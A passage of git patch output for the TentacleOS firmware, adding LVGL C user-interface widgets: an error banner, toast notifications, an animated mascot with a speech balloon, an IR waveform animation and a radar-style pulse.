lv_obj_remove_flag(col, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_width(col, COL_TXT_W); + lv_obj_set_height(col, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(col, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(col, 0, 0); + lv_obj_set_style_pad_all(col, 0, 0); + lv_obj_set_flex_flow(col, LV_FLEX_FLOW_COLUMN); + lv_obj_set_style_pad_row(col, 2, 0); + + lv_obj_t *t = lv_label_create(col); + lv_obj_set_width(t, lv_pct(100)); + lv_label_set_long_mode(t, LV_LABEL_LONG_DOT); + lv_label_set_text(t, title ? title : "Error"); + lv_obj_set_style_text_font(t, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(t, lv_color_hex(0xFFFFFF), 0); + + if (msg != NULL) { + lv_obj_t *m = lv_label_create(col); + lv_obj_set_width(m, lv_pct(100)); + lv_label_set_long_mode(m, LV_LABEL_LONG_WRAP); // detail may wrap to 2 lines + lv_label_set_text(m, msg); + lv_obj_set_style_text_font(m, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(m, lv_color_hex(0xE7B7BB), 0); + } + + // Slide down + fade in. + lv_obj_set_style_opa(b, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, b); + lv_anim_set_exec_cb(&a, slide_y_cb); + lv_anim_set_values(&a, -60, 0); + lv_anim_set_duration(&a, SLIDE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); + + lv_anim_t f; + lv_anim_init(&f); + lv_anim_set_var(&f, b); + lv_anim_set_exec_cb(&f, opa_cb); + lv_anim_set_values(&f, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&f, SLIDE_MS); + lv_anim_start(&f); + + ui_feedback(UI_FB_WRITE); // firmer cue (tone + vibration) for an error + + s_timer = lv_timer_create(dismiss_cb, ERROR_MS, NULL); + lv_timer_set_repeat_count(s_timer, 1); +} diff --git a/firmware_p4/components/Applications/ui/components/error/include/error_ui.h b/firmware_p4/components/Applications/ui/components/error/include/error_ui.h new file mode 100644 index 000000000..d608c35ce --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/error/include/error_ui.h @@ -0,0 +1,34 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef ERROR_UI_H +#define ERROR_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +// Global error banner: a red toast on the LVGL TOP LAYER, so it floats above +// ANY screen (it can never be overlapped) and survives screen switches. Shows +// a short title + a one-line detail, buzzes, and auto-dismisses after a few +// seconds. Non-blocking (never steals input). A new call replaces the current +// one. For soft warnings prefer notify(NOTIFY_WARNING, ...). +void error_show(const char *title, const char *msg); + +#ifdef __cplusplus +} +#endif + +#endif // ERROR_UI_H diff --git a/firmware_p4/components/Applications/ui/components/notify/include/notify_ui.h b/firmware_p4/components/Applications/ui/components/notify/include/notify_ui.h new file mode 100644 index 000000000..3775cfdb6 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/notify/include/notify_ui.h @@ -0,0 +1,43 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NOTIFY_UI_H +#define NOTIFY_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +// Global toast notification: a small pill that appears at the top of the +// screen on the LVGL TOP LAYER, so it floats above ANY screen (it can never be +// overlapped) and survives screen switches. It auto-dismisses after a few +// seconds and does not steal input from the active screen. A new call replaces +// the one currently showing. Keep the text short (it's a one-liner). +typedef enum { + NOTIFY_INFO = 0, // purple — generic (paired, connected, ...) + NOTIFY_SAVED, // green check — saved / applied confirmation + NOTIFY_UPDATE, // green — firmware / update available + NOTIFY_LORA, // cyan — LoRa / incoming message + NOTIFY_WARNING, // amber — battery low, C5 dropped, ... +} notify_type_t; + +/** Show a short notification pill. Safe to call from any UI callback. */ +void notify(notify_type_t type, const char *text); + +#ifdef __cplusplus +} +#endif + +#endif // NOTIFY_UI_H diff --git a/firmware_p4/components/Applications/ui/components/notify/notify_ui.c b/firmware_p4/components/Applications/ui/components/notify/notify_ui.c new file mode 100644 index 000000000..adca2f84d --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/notify/notify_ui.c @@ -0,0 +1,178 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "notify_ui.h" + +#include "lvgl.h" + +#include "ui_feedback.h" +#include "ui_theme.h" + +#define NOTIFY_MS 3200 // how long the pill stays before auto-dismissing +#define SLIDE_MS 220 +#define TOP_Y 6 // resting offset from the very top (top layer) +#define PILL_MAX_W 224 +#define TEXT_MAX_W 170 +#define COL_RAISE 0x170A28 + +// One pill at a time; a new notify() replaces whatever is showing. +static lv_obj_t *s_pill = NULL; +static lv_timer_t *s_timer = NULL; + +static lv_color_t type_color(notify_type_t t) { + switch (t) { + case NOTIFY_SAVED: + return lv_color_hex(0x00E676); + case NOTIFY_UPDATE: + return lv_color_hex(0x00E676); + case NOTIFY_LORA: + return lv_color_hex(0x00BCD4); + case NOTIFY_WARNING: + return lv_color_hex(0xFFC400); + default: + return current_theme.border_accent; // NOTIFY_INFO + } +} + +static const char *type_sym(notify_type_t t) { + switch (t) { + case NOTIFY_SAVED: + return LV_SYMBOL_OK; // the check mark + case NOTIFY_UPDATE: + return LV_SYMBOL_DOWNLOAD; + case NOTIFY_LORA: + return LV_SYMBOL_ENVELOPE; + case NOTIFY_WARNING: + return LV_SYMBOL_WARNING; + default: + return LV_SYMBOL_BELL; + } +} + +static void slide_y_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} +static void opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void gone_cb(lv_anim_t *a) { + (void)a; + // Only fires for a natural dismiss of the current pill (a replaced pill has + // its animations deleted before this could run). + if (s_pill != NULL) { + lv_obj_del(s_pill); + s_pill = NULL; + } +} + +static void clear_now(void) { + if (s_timer != NULL) { + lv_timer_delete(s_timer); + s_timer = NULL; + } + if (s_pill != NULL) { + lv_anim_delete(s_pill, NULL); // drop any in-flight slide/fade (no gone_cb) + lv_obj_del(s_pill); + s_pill = NULL; + } +} + +static void dismiss_cb(lv_timer_t *t) { + (void)t; + s_timer = NULL; + if (s_pill == NULL) + return; + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_pill); + lv_anim_set_exec_cb(&a, slide_y_cb); + lv_anim_set_values(&a, 0, -50); + lv_anim_set_duration(&a, SLIDE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in); + lv_anim_set_completed_cb(&a, gone_cb); + lv_anim_start(&a); + + lv_anim_t f; + lv_anim_init(&f); + lv_anim_set_var(&f, s_pill); + lv_anim_set_exec_cb(&f, opa_cb); + lv_anim_set_values(&f, LV_OPA_COVER, LV_OPA_TRANSP); + lv_anim_set_duration(&f, SLIDE_MS); + lv_anim_start(&f); +} + +void notify(notify_type_t type, const char *text) { + clear_now(); // replace any current pill + + lv_color_t c = type_color(type); + lv_obj_t *pill = lv_obj_create(lv_layer_top()); + s_pill = pill; + lv_obj_remove_flag(pill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(pill, LV_OBJ_FLAG_CLICKABLE); // never steals input + lv_obj_set_size(pill, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_max_width(pill, PILL_MAX_W, 0); + lv_obj_set_style_radius(pill, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_color(pill, lv_color_hex(COL_RAISE), 0); + lv_obj_set_style_bg_opa(pill, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(pill, 1, 0); + lv_obj_set_style_border_color(pill, c, 0); + lv_obj_set_style_shadow_width(pill, 18, 0); + lv_obj_set_style_shadow_color(pill, c, 0); + lv_obj_set_style_shadow_spread(pill, -6, 0); + lv_obj_set_style_shadow_ofs_y(pill, 6, 0); + lv_obj_set_style_pad_hor(pill, 13, 0); + lv_obj_set_style_pad_ver(pill, 7, 0); + lv_obj_set_flex_flow(pill, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(pill, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(pill, 8, 0); + lv_obj_align(pill, LV_ALIGN_TOP_MID, 0, TOP_Y); + + lv_obj_t *icon = lv_label_create(pill); + lv_label_set_text(icon, type_sym(type)); + lv_obj_set_style_text_font(icon, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(icon, c, 0); + + lv_obj_t *lbl = lv_label_create(pill); + lv_label_set_text(lbl, text ? text : ""); + lv_label_set_long_mode(lbl, LV_LABEL_LONG_DOT); + lv_obj_set_style_max_width(lbl, TEXT_MAX_W, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + + // Slide down + fade in. + lv_obj_set_style_opa(pill, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, pill); + lv_anim_set_exec_cb(&a, slide_y_cb); + lv_anim_set_values(&a, -50, 0); + lv_anim_set_duration(&a, SLIDE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); + + lv_anim_t f; + lv_anim_init(&f); + lv_anim_set_var(&f, pill); + lv_anim_set_exec_cb(&f, opa_cb); + lv_anim_set_values(&f, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&f, SLIDE_MS); + lv_anim_start(&f); + + ui_feedback(UI_FB_SELECT); // soft blip + + s_timer = lv_timer_create(dismiss_cb, NOTIFY_MS, NULL); + lv_timer_set_repeat_count(s_timer, 1); +} From f8c5da00036409f802f5905af0435df7ce4ab295 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:39:04 -0300 Subject: [PATCH 098/572] feat(ui): add waves, sigwave and octobit animated status widgets --- .../components/octobit/include/octobit_ui.h | 42 ++++++ .../ui/components/octobit/octobit_ui.c | 135 ++++++++++++++++++ .../components/sigwave/include/sigwave_ui.h | 58 ++++++++ .../ui/components/sigwave/sigwave_ui.c | 112 +++++++++++++++ .../ui/components/waves/include/waves_ui.h | 56 ++++++++ .../ui/components/waves/waves_ui.c | 100 +++++++++++++ 6 files changed, 503 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/components/octobit/include/octobit_ui.h create mode 100644 firmware_p4/components/Applications/ui/components/octobit/octobit_ui.c create mode 100644 firmware_p4/components/Applications/ui/components/sigwave/include/sigwave_ui.h create mode 100644 firmware_p4/components/Applications/ui/components/sigwave/sigwave_ui.c create mode 100644 firmware_p4/components/Applications/ui/components/waves/include/waves_ui.h create mode 100644 firmware_p4/components/Applications/ui/components/waves/waves_ui.c diff --git a/firmware_p4/components/Applications/ui/components/octobit/include/octobit_ui.h b/firmware_p4/components/Applications/ui/components/octobit/include/octobit_ui.h new file mode 100644 index 000000000..3cbe3b452 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/octobit/include/octobit_ui.h @@ -0,0 +1,42 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef OCTOBIT_UI_H +#define OCTOBIT_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "lvgl.h" + +/** + * @brief Show the Octobit mascot snug in the bottom-right corner with a speech + * balloon. Use for status states ("Pairing...", "Searching...", etc.). + * + * @param parent Screen/container to attach to. + * @param phrase Text shown in the balloon (may be NULL for none). + * @return The root object; pass it to octobit_set_text() / lv_obj_del(). + */ +lv_obj_t *octobit_create(lv_obj_t *parent, const char *phrase); + +/** @brief Update the balloon phrase of an existing Octobit. */ +void octobit_set_text(lv_obj_t *octobit_root, const char *phrase); + +#ifdef __cplusplus +} +#endif + +#endif // OCTOBIT_UI_H diff --git a/firmware_p4/components/Applications/ui/components/octobit/octobit_ui.c b/firmware_p4/components/Applications/ui/components/octobit/octobit_ui.c new file mode 100644 index 000000000..b6daa8ac4 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/octobit/octobit_ui.c @@ -0,0 +1,135 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "octobit_ui.h" + +#include "st7789.h" + +#include "assets_manager.h" +#include "ui_theme.h" + +#define OCTOBIT_ASSET "/assets/img/octobit.bin" +#define OCTOBIT_W 80 +#define OCTOBIT_H 115 +#define OCTOBIT_SCALE 448 +#define SCALED_W (OCTOBIT_W * OCTOBIT_SCALE / 256) +#define SCALED_H (OCTOBIT_H * OCTOBIT_SCALE / 256) + +#define BALLOON_MAX_W 150 +#define BALLOON_MIN_W 96 +#define BALLOON_PAD 12 +#define BALLOON_RADIUS 14 +#define BALLOON_BORDER 2 +#define BALLOON_OFFSET_X (-SCALED_W + 60) +#define BALLOON_OFFSET_Y (-SCALED_H + 30) + +#define SWAY_ANGLE 40 +#define SWAY_TIME 1300 + +#define SIGNAL_COUNT 3 +#define SIGNAL_DOT 7 +#define SIGNAL_X (LCD_H_RES - SCALED_W + 20) +#define SIGNAL_Y (LCD_V_RES - SCALED_H + 16) +#define SIGNAL_DX (-22) +#define SIGNAL_DY (-18) +#define SIGNAL_TIME 1100 + +static void signal_anim_cb(void *var, int32_t v) { + lv_obj_t *dot = (lv_obj_t *)var; + lv_obj_set_pos(dot, SIGNAL_X + SIGNAL_DX * v / 255, SIGNAL_Y + SIGNAL_DY * v / 255); + lv_obj_set_style_opa(dot, (lv_opa_t)(255 - v), 0); +} + +lv_obj_t *octobit_create(lv_obj_t *parent, const char *phrase) { + lv_obj_t *root = lv_obj_create(parent); + lv_obj_remove_style_all(root); + lv_obj_set_size(root, LCD_H_RES, LCD_V_RES); + lv_obj_center(root); + lv_obj_remove_flag(root, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(root, LV_OBJ_FLAG_CLICKABLE); + + lv_obj_t *img = lv_image_create(root); + lv_image_dsc_t *dsc = assets_get(OCTOBIT_ASSET); + if (dsc != NULL) + lv_image_set_src(img, dsc); + lv_image_set_pivot(img, OCTOBIT_W, OCTOBIT_H); + lv_image_set_scale(img, OCTOBIT_SCALE); + lv_obj_align(img, LV_ALIGN_BOTTOM_RIGHT, 0, 0); + + lv_anim_t sway; + lv_anim_init(&sway); + lv_anim_set_var(&sway, img); + lv_anim_set_exec_cb(&sway, (lv_anim_exec_xcb_t)lv_image_set_rotation); + lv_anim_set_values(&sway, -SWAY_ANGLE, SWAY_ANGLE); + lv_anim_set_duration(&sway, SWAY_TIME); + lv_anim_set_playback_duration(&sway, SWAY_TIME); + lv_anim_set_repeat_count(&sway, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&sway, lv_anim_path_ease_in_out); + lv_anim_start(&sway); + + for (int i = 0; i < SIGNAL_COUNT; i++) { + lv_obj_t *dot = lv_obj_create(root); + lv_obj_remove_style_all(dot); + lv_obj_set_size(dot, SIGNAL_DOT, SIGNAL_DOT); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(dot, current_theme.border_accent, 0); + + lv_anim_t sig; + lv_anim_init(&sig); + lv_anim_set_var(&sig, dot); + lv_anim_set_exec_cb(&sig, signal_anim_cb); + lv_anim_set_values(&sig, 0, 255); + lv_anim_set_duration(&sig, SIGNAL_TIME); + lv_anim_set_delay(&sig, i * (SIGNAL_TIME / SIGNAL_COUNT)); + lv_anim_set_repeat_count(&sig, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&sig, lv_anim_path_linear); + lv_anim_start(&sig); + } + + lv_obj_t *balloon = lv_obj_create(root); + lv_obj_remove_flag(balloon, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(balloon, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_radius(balloon, BALLOON_RADIUS, 0); + lv_obj_set_style_bg_opa(balloon, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(balloon, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(balloon, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(balloon, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(balloon, BALLOON_BORDER, 0); + lv_obj_set_style_border_color(balloon, current_theme.border_accent, 0); + lv_obj_set_style_pad_all(balloon, BALLOON_PAD, 0); + lv_obj_set_style_min_width(balloon, BALLOON_MIN_W, 0); + lv_obj_align(balloon, LV_ALIGN_BOTTOM_RIGHT, BALLOON_OFFSET_X, BALLOON_OFFSET_Y); + + lv_obj_t *lbl = lv_label_create(balloon); + lv_label_set_long_mode(lbl, LV_LABEL_LONG_WRAP); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(lbl, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_set_width(lbl, LV_SIZE_CONTENT); + lv_obj_set_style_max_width(lbl, BALLOON_MAX_W, 0); + lv_label_set_text(lbl, phrase != NULL ? phrase : ""); + + lv_obj_set_user_data(root, lbl); + return root; +} + +void octobit_set_text(lv_obj_t *octobit_root, const char *phrase) { + if (octobit_root == NULL) + return; + lv_obj_t *lbl = (lv_obj_t *)lv_obj_get_user_data(octobit_root); + if (lbl != NULL) + lv_label_set_text(lbl, phrase != NULL ? phrase : ""); +} diff --git a/firmware_p4/components/Applications/ui/components/sigwave/include/sigwave_ui.h b/firmware_p4/components/Applications/ui/components/sigwave/include/sigwave_ui.h new file mode 100644 index 000000000..fdcb062e8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/sigwave/include/sigwave_ui.h @@ -0,0 +1,58 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef UI_SIGWAVE_H +#define UI_SIGWAVE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "lvgl.h" + +/** + * @brief An "IR signal being assembled" animation: a row of vertical pulse bars + * (an IR pulse-train / waveform) whose heights rise and fall in a + * staggered wave, so the signal looks like it's continuously being + * drawn. Looped forever. + * + * Creates a self-contained container positioned in `parent` via align/offset. + * Delete it (or its parent) to stop — the animations go with the objects. + * + * @param parent Container to attach the waveform to. + * @param align Alignment of the container within `parent`. + * @param x_ofs Horizontal offset from the alignment anchor, in pixels. + * @param y_ofs Vertical offset from the alignment anchor, in pixels. + * @return The container object. + */ +lv_obj_t *sigwave_create(lv_obj_t *parent, lv_align_t align, int x_ofs, int y_ofs); + +/** + * @brief Same pulse-train, but drawn complete and static (no animation) — used + * to present a captured signal. + * + * @param parent Container to attach the waveform to. + * @param align Alignment of the container within `parent`. + * @param x_ofs Horizontal offset from the alignment anchor, in pixels. + * @param y_ofs Vertical offset from the alignment anchor, in pixels. + * @return The container object. + */ +lv_obj_t *sigwave_create_static(lv_obj_t *parent, lv_align_t align, int x_ofs, int y_ofs); + +#ifdef __cplusplus +} +#endif + +#endif // UI_SIGWAVE_H diff --git a/firmware_p4/components/Applications/ui/components/sigwave/sigwave_ui.c b/firmware_p4/components/Applications/ui/components/sigwave/sigwave_ui.c new file mode 100644 index 000000000..f236c8459 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/sigwave/sigwave_ui.c @@ -0,0 +1,112 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "sigwave_ui.h" + +#include "ui_theme.h" + +static const int SEG_W[] = {22, 11, 5, 6, 5, 6, 5, 14, 5, 6, 9, 6, 5, 6, 5, 6, 5}; +#define SEG_COUNT ((int)(sizeof(SEG_W) / sizeof(SEG_W[0]))) +#define SIG_W 132 +#define SIG_H 40 +#define SIG_BASE_H 3 +#define SIG_PULSE_H 26 +#define SIG_STEP_MS 85 +#define SIG_HOLD_MS 650 + +static void sig_form_cb(void *var, int32_t v) { + lv_obj_t *holder = (lv_obj_t *)var; + uint32_t n = lv_obj_get_child_count(holder); + for (uint32_t i = 0; i < n; i++) { + lv_obj_t *m = lv_obj_get_child(holder, i); + int32_t local = v - (int32_t)i * 256; + int32_t opa = local <= 0 ? 0 : (local >= 256 ? 255 : local); + lv_obj_set_style_opa(m, (lv_opa_t)opa, 0); + } +} + +static lv_obj_t * +build_sigwave(lv_obj_t *parent, lv_align_t align, int x_ofs, int y_ofs, bool animate) { + lv_obj_t *cont = lv_obj_create(parent); + lv_obj_remove_flag(cont, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(cont, SIG_W, SIG_H); + lv_obj_align(cont, align, x_ofs, y_ofs); + lv_obj_set_style_bg_opa(cont, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(cont, 0, 0); + lv_obj_set_style_pad_all(cont, 0, 0); + + lv_obj_t *base = lv_obj_create(cont); + lv_obj_remove_flag(base, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(base, SIG_W, SIG_BASE_H); + lv_obj_set_pos(base, 0, SIG_H - SIG_BASE_H); + lv_obj_set_style_radius(base, 0, 0); + lv_obj_set_style_bg_color(base, current_theme.border_inactive, 0); + lv_obj_set_style_bg_opa(base, LV_OPA_50, 0); + lv_obj_set_style_border_width(base, 0, 0); + + lv_obj_t *holder = lv_obj_create(cont); + lv_obj_remove_flag(holder, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(holder, SIG_W, SIG_H); + lv_obj_set_pos(holder, 0, 0); + lv_obj_set_style_bg_opa(holder, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(holder, 0, 0); + lv_obj_set_style_pad_all(holder, 0, 0); + + int x = 0; + int marks = 0; + for (int i = 0; i < SEG_COUNT && x < SIG_W; i++) { + int w = SEG_W[i]; + if (x + w > SIG_W) + w = SIG_W - x; + if ((i % 2) == 0 && w > 0) { + lv_obj_t *m = lv_obj_create(holder); + lv_obj_remove_flag(m, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(m, w, SIG_PULSE_H); + lv_obj_set_pos(m, x, SIG_H - SIG_BASE_H - SIG_PULSE_H); + lv_obj_set_style_radius(m, 1, 0); + lv_obj_set_style_bg_color(m, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(m, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(m, 0, 0); + lv_obj_set_style_opa(m, animate ? LV_OPA_TRANSP : LV_OPA_COVER, 0); + marks++; + } + x += SEG_W[i]; + } + if (marks < 1) + marks = 1; + + if (animate) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, holder); + lv_anim_set_exec_cb(&a, sig_form_cb); + lv_anim_set_values(&a, 0, marks * 256); + lv_anim_set_duration(&a, marks * SIG_STEP_MS); + lv_anim_set_repeat_delay(&a, SIG_HOLD_MS); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_linear); + lv_anim_start(&a); + } + + return cont; +} + +lv_obj_t *sigwave_create(lv_obj_t *parent, lv_align_t align, int x_ofs, int y_ofs) { + return build_sigwave(parent, align, x_ofs, y_ofs, true); +} + +lv_obj_t *sigwave_create_static(lv_obj_t *parent, lv_align_t align, int x_ofs, int y_ofs) { + return build_sigwave(parent, align, x_ofs, y_ofs, false); +} diff --git a/firmware_p4/components/Applications/ui/components/waves/include/waves_ui.h b/firmware_p4/components/Applications/ui/components/waves/include/waves_ui.h new file mode 100644 index 000000000..9622c9fdb --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/waves/include/waves_ui.h @@ -0,0 +1,56 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef UI_WAVES_H +#define UI_WAVES_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "lvgl.h" + +/** + * @brief Radar-style pulse: concentric accent rings expanding outward from a + * solid central node and fading, looped forever (same effect as the BLE + * pairing screen). Used to signal IR receive ("learning") and transmit + * activity. + * + * Creates a self-contained container positioned in `parent` via align/offset. + * Delete it (or its parent) to stop — the looping animations are removed with + * the objects automatically. + * + * @param parent Container to attach the pulse to. + * @param align Alignment of the container within `parent`. + * @param x_ofs Horizontal offset from the alignment anchor, in pixels. + * @param y_ofs Vertical offset from the alignment anchor, in pixels. + * @param symbol Optional glyph drawn in the centre node (e.g. LV_SYMBOL_*). + * @param icon_path Optional small image asset drawn (scaled down) in the + * centre node; takes precedence over `symbol`. Pass NULL for + * neither. + * @return The container object. + */ +lv_obj_t *waves_create(lv_obj_t *parent, + lv_align_t align, + int x_ofs, + int y_ofs, + const char *symbol, + const char *icon_path); + +#ifdef __cplusplus +} +#endif + +#endif // UI_WAVES_H diff --git a/firmware_p4/components/Applications/ui/components/waves/waves_ui.c b/firmware_p4/components/Applications/ui/components/waves/waves_ui.c new file mode 100644 index 000000000..c77a0f2d9 --- /dev/null +++ b/firmware_p4/components/Applications/ui/components/waves/waves_ui.c @@ -0,0 +1,100 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "waves_ui.h" + +#include "assets_manager.h" +#include "ui_theme.h" + +#define WAVES_RING_COUNT 3 +#define WAVES_MIN 30 +#define WAVES_MAX 132 +#define WAVES_MS 1800 +#define WAVES_NODE 38 +#define WAVES_ICON_PX 18 +#define WAVES_CONT (WAVES_MAX + 8) + +static void waves_ring_cb(void *var, int32_t v) { + lv_obj_t *ring = (lv_obj_t *)var; + int32_t sz = WAVES_MIN + (WAVES_MAX - WAVES_MIN) * v / 255; + lv_obj_set_size(ring, sz, sz); + lv_obj_center(ring); + lv_obj_set_style_opa(ring, (lv_opa_t)(255 - v), 0); +} + +lv_obj_t *waves_create(lv_obj_t *parent, + lv_align_t align, + int x_ofs, + int y_ofs, + const char *symbol, + const char *icon_path) { + lv_obj_t *cont = lv_obj_create(parent); + lv_obj_remove_flag(cont, LV_OBJ_FLAG_SCROLLABLE); + 